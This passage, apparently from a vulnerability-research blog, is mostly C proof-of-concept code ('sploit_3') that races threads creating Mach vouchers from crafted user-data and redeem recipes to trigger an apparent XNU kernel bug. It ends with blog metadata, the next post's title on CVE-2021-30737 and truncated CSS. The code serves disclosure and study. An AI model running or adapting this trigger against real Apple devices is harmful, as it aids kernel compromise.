<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_data_t</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> recipe </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> calloc</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">recipe_size</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">key </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_USER_DATA</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">command </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_USER_DATA_STORE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">content_size </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> len</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> uint8_t</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> content_buf </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">uint8_t</span><span class="BGLtzooHlW-c2">*)</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">)+</span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_voucher_attr_recipe_data_t</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> memcpy</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">content_buf</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> buf</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> len</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">template_size_out </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> recipe_size</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> recipe</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c2">*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">create_single_variable_userdata_then_redeem_voucher_recipe</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> buf</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> size_t len</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> size_t</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> template_size_out</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> size_t recipe_size </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">2</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_voucher_attr_recipe_data_t</span><span class="BGLtzooHlW-c2">))</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">+</span><span class="BGLtzooHlW-c4"> len</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_data_t</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> recipe </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> calloc</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">recipe_size</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">key </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_USER_DATA</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">command </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_USER_DATA_STORE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">content_size </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> len</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c3"> </span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> uint8_t</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> content_buf </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">uint8_t</span><span class="BGLtzooHlW-c2">*)</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">)+</span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_voucher_attr_recipe_data_t</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> memcpy</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">content_buf</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> buf</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> len</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_data_t</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> recipe2 </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_voucher_attr_recipe_data_t</span><span class="BGLtzooHlW-c2">*)(</span><span class="BGLtzooHlW-c4">content_buf </span><span class="BGLtzooHlW-c2">+</span><span class="BGLtzooHlW-c4"> len</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> recipe2</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">key </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_USER_DATA</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> recipe2</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">command </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_REDEEM</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">template_size_out </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> recipe_size</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> recipe</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> recipe_template_meta </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> recipe</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> size_t recipe_size</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">};</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> recipe_template_meta single_recipe_template </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{};</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> recipe_template_meta redeem_recipe_template </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{};</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">int</span><span class="BGLtzooHlW-c4"> iter_limit </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">100000</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> s3threadfunc</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> arg</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> recipe_template_meta</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">template</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> recipe_template_meta</span><span class="BGLtzooHlW-c2">*)</span><span class="BGLtzooHlW-c4">arg</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">for</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">int</span><span class="BGLtzooHlW-c4"> i </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> i </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> iter_limit</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> i</span><span class="BGLtzooHlW-c2">++)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_port_t voucher_port </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> create_voucher_from_recipe</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">template</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">template</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">recipe_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_port_deallocate</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_task_self</span><span class="BGLtzooHlW-c2">(),</span><span class="BGLtzooHlW-c4"> voucher_port</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> NULL</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c4"> sploit_3</span><span class="BGLtzooHlW-c2">()</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">while</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">// choose a userdata size:</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> uint32_t userdata_size </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">arc4random</span><span class="BGLtzooHlW-c2">()</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">%</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">2040</span><span class="BGLtzooHlW-c2">)+</span><span class="BGLtzooHlW-c15">8</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> userdata_size </span><span class="BGLtzooHlW-c2">+=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">7</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> userdata_size </span><span class="BGLtzooHlW-c2">&=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(~</span><span class="BGLtzooHlW-c15">7</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> printf</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c16">"userdata size: 0x%x\n"</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> userdata_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> uint8_t</span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4"> userdata_buffer </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> calloc</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">userdata_size</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">uint32_t</span><span class="BGLtzooHlW-c2">*)</span><span class="BGLtzooHlW-c4">userdata_buffer</span><span class="BGLtzooHlW-c2">)[</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">]</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> arc4random</span><span class="BGLtzooHlW-c2">();</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">uint32_t</span><span class="BGLtzooHlW-c2">*)</span><span class="BGLtzooHlW-c4">userdata_buffer</span><span class="BGLtzooHlW-c2">)[</span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">]</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> arc4random</span><span class="BGLtzooHlW-c2">();</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">// build the templates: </span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> single_recipe_template</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> create_single_variable_userdata_voucher_recipe</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">userdata_buffer</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> userdata_size</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">single_recipe_template</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> redeem_recipe_template</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> create_single_variable_userdata_then_redeem_voucher_recipe</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">userdata_buffer</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> userdata_size</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">redeem_recipe_template</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> free</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">userdata_buffer</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> pthread_t single_recipe_thread</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> pthread_create</span><span class="BGLtzooHlW-c2">(&</span><span class="BGLtzooHlW-c4">single_recipe_thread</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> NULL</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> s3threadfunc</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c2">*)&</span><span class="BGLtzooHlW-c4">single_recipe_template</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> pthread_t redeem_recipe_thread</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> pthread_create</span><span class="BGLtzooHlW-c2">(&</span><span class="BGLtzooHlW-c4">redeem_recipe_thread</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> NULL</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> s3threadfunc</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c2">*)&</span><span class="BGLtzooHlW-c4">redeem_recipe_template</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> pthread_join</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">single_recipe_thread</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> NULL</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> pthread_join</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">redeem_recipe_thread</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> NULL</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> free</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">single_recipe_template</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> free</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">redeem_recipe_template</span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">recipe</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">int</span><span class="BGLtzooHlW-c4"> main</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">int</span><span class="BGLtzooHlW-c4"> argc</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">char</span><span class="BGLtzooHlW-c2">**</span><span class="BGLtzooHlW-c4"> argv</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> sploit_3</span><span class="BGLtzooHlW-c2">();</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-10337436521697798822022-04-07T09:08:00.002-07:002022-08-24T12:04:12.783-07:00CVE-2021-30737, @xerub's 2021 iOS ASN.1 Vulnerability<style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=lhDjYqiy3mZ0x6ROQEUoUw');ol{margin:0;padding:0}table td,table th{padding:0}.c5{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.c10{color:#434343;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:14pt;font-family:"Arial";font-style:normal}.c2{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:10pt;font-family:Consolas,"Courier New";font-style:normal}.c0{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left;height:11pt}.c9{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.c27{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.c31{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:16pt;font-style:normal}.c33{padding-top:16pt;padding-bottom:4pt;line-height:1.5;page-break-after:avoid;text-align:left}.c19{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:normal}.c32{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;text-align:left}.c16{font-size:10pt;font-family:Consolas,"Courier New";color:#9c27b0;font-weight:400}.c22{font-size:10pt;font-family:Consolas,"Courier New";color:#0f9d58;font-weight:400}.c34{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:right}.c3{font-size:10pt;font-family:Consolas,"Courier New";color:#000000;font-weight:400}.c11{font-size:10pt;font-family:Consolas,"Courier New";color:#c53929;font-weight:400}.c1{font-size:10pt;font-family:Consolas,"Courier New";color:#616161;font-weight:400}.c21{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.c20{font-size:10pt;font-family:Consolas,"Courier New";color:#3367d6;font-weight:400}.c23{font-size:10pt;font-family:Consolas,"Courier New";color:#455a64;font-weight:400}.c25{border-spacing:0;border-collapse:collapse;margin-right:auto}.c6{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.c13{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.c29{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;text-decoration:underline}.c30{font-weight:400;font-family:Consolas,"Courier New"}.c8{orphans:2;widows:2}.c24{color:inherit;text-decoration:inherit}.c7{font-weight:400;font-family:"Courier 